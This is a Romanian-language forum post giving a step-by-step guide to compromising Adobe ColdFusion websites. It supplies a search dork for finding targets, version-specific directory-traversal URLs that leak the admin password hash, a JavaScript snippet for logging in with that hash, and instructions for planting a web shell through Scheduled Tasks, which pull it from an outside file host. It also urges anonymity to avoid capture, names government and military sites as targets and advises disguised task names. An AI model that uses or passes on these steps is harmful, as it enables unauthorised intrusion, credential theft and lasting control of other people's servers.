Jump to content
MarAnd

Exploatarea ColdFusion - Ghid Detaliat

Recommended Posts

Acest tutorial va ofera o idee generala asupra exploatarii un site pe platforma ColdFusion. Exista multe site-uri de mare interes, cum ar fi guvernamentale si militare, care folosesc aceasta platforma, dar nu toate sunt vulnerabile. Sa incepem!

Necesitati

  • Anonimizare - Nu faceti asa ceva fara sa fiti siguri ca nu veti fi prinsi.
  • JavaScript Snippet - Inclus in tutorial.
  • Tamper Data - Firefox (TOR) Plugin

Gasirea unui site vulnerabil

Aceasta este o parte simpla, trebuie doar sa folosim un dork Google.

ext:cfm

Testarea pentru vulnerabilitate

Primul pas este sa accesam panoul de control, care se gaseste in directorul:

http://site/random/directories/shit/lol/document.cfm

Apoi:

http://site/CFIDE/administrator

Daca panoul exista, si avem acces la el, vom fi intampinati de urmatoarea pagina:

http://i.imgur.com/Oz9pwnk.jpg

Acum, trebuie sa retinem versiunea de Adobe ColdFusion existenta pe site. Doar versiunile 6, 7 si 8 sunt vulnerabile la acest tip de atac. In cazul versiunilor 9 si 10, voi explica mai tarziu.

Acum ca am gasit o versiune vulnerabila, care este urmatorul pas?

Va trebui sa folositi exploiturile de mai jos, depinzand de versiune. Tineti mine ca acest pas trebuie facut in 30 secunde maxim, deoarece saltul se schimba odata la 30 secunde.

Versiunea 6

http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en

Versiunea 7

http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en?

Versiunea 8

http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00e?n

Daca exploatarea are loc cu succes, atunci veti vedea parola tip hash a administratorului.

Versiunile 9 si 10

In cazul acestor versiuni va trebui sa instalati Python. Acest tutorial depinde de sistemul nostru de operare, aici eu voi folosi Windows, poate in viitor voi adauga si pentru versiunea Linux.

Mai intai, instalati Python si apoi Python Requests (Requests: HTTP for Humans — Requests 2.3.0 documentation). Apoi salvati urmatorul script pe desktop, cu numele a.py: ColdFusion 9-10 - Credential Disclosure Exploit

Acum deschideti linia de comanda si scrieti urmatoarele comenzi, in ordine:

cd desktop

a.py

Asta ar trebui sa ruleze scriptul.

Acum trebuie sa introduceti URL-ul, nu scrieti si directorul /CFIDE/ dupa el. Doar URL-ul, de exemplu:

http://vulnerable.com

3FaG9.png

Daca primiti urmatoarea eroare, site-ul nu este vulnerabil:

3FaKd.png

Daca este vulnerabil, veti primi un raspuns de la scriptul HMAC, si puteti trece la urmatorul pas!

Logarea folosind o parola hashuita

Acum vine partea tricky!

Va trebui sa fiti siguri ca aveti scripturile activate (daca folositi NoScript) - Introduceti urmatorul cod javascript in browser - desi functioneaza mai bine daca folositi Scratchpad (Shift + F4 pentru Firefox / Ctrl + Alt + N pentru Chrome):

javascript:alert(hex_hmac_sha1(document.loginform.salt.value,document.loginform.?cfadminPassword.value))

NOTA: DACA FOLOSITI SCRATCHPAD NU INCLUDETI SI "javascript:" IN COD, DEOARECE NU VA FUNCTIONA.

Veti primi o alerta cu hashul HMAC-uit. Copiati acest string. Apoi, deschideti Tamper Data, apasati "Start Tamper" si apoi apasati login, si dati paste hashului obtinut din scriptul javascript in fieldul cfadminPassword.

Introducerea unui shell

Veti avea nevoie de un Shell Adobe ColdFusion. Puteti incerca un shell regular de tip PHP sau ASP, dar de obicei acestea sunt blocate. Nu am reusit sa gasesc acest shell altundeva, deci se poate spune ca e privat:

http://1drv.ms/1bTIcji

Salvati-l pe PC, sub forma de numefisier.cfm, pentru a avea acces la el usor de acum.

Aici vine partea de shelling cu adevarat. Odata ce sunteti intrati in panoul de administrare al ColdFusion, duceti-va la sectiunea "Settings Summary" in stanga, apoi sectiunea "Mappings". Acesta pagina va arata intregul director al locatiei CFIDE. De obicei, este /CFIDE. Aici veti introduce shellul, deoarece aceasta este partea unde va aflati momentan. Copiati aceasta locatie pana la punctul unde scrie /CFIDE.

Apoi, duceti-va la tabul "Debugging and Logging" in stanga si apasati "Scheduled Tasks". Aceasta optiune ne da voie sa rulam un task pe site (in cazul nostru, uploadarea shellului). Apasati "Schedule New Task". Puneti-i un oarecare nume, nu conteaza, daca vreti sa ramaneti nedescoperiti puneti ceva de genul "Scheduled Configuration".

Acum, schimbam partea de URL a paginii catre sursa raw a shellului, de asta am si urcat documentul ca plain text. Salvati deci acel fisier. Dati paste pathului copiat in pasul anterior in fieldul "File". Introduceti numele cu care doriti sa il salvati, cu extensia .cfm. Deci, deoarece suntem in directorul /CFIDE/, ar fi bine sa il numiti ceva de genul confg.cfm.

Verificati de doua ori ca ati efectuat toti pasii corect in conformitate cu acest tutorial, apoi apasati "OK". Atunci cand pagina de reincarca, apasati tickul verde pentru a rula taskul. Acesta va uploada shellul!

Daca toti pasii au fost urmati corect, veti avea acces la shell:

http://yourhackedsite.com/CFIDE/yourshellname.cfm

Va trebui sa introduceti detaliile de login. Daca nu le-ati modificat, ele sunt urmatoarele:

RSTForums - tutorial

a.py -> Subzero
b.py -> Python 1-liner pentru HMAC/Salt

Succes!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...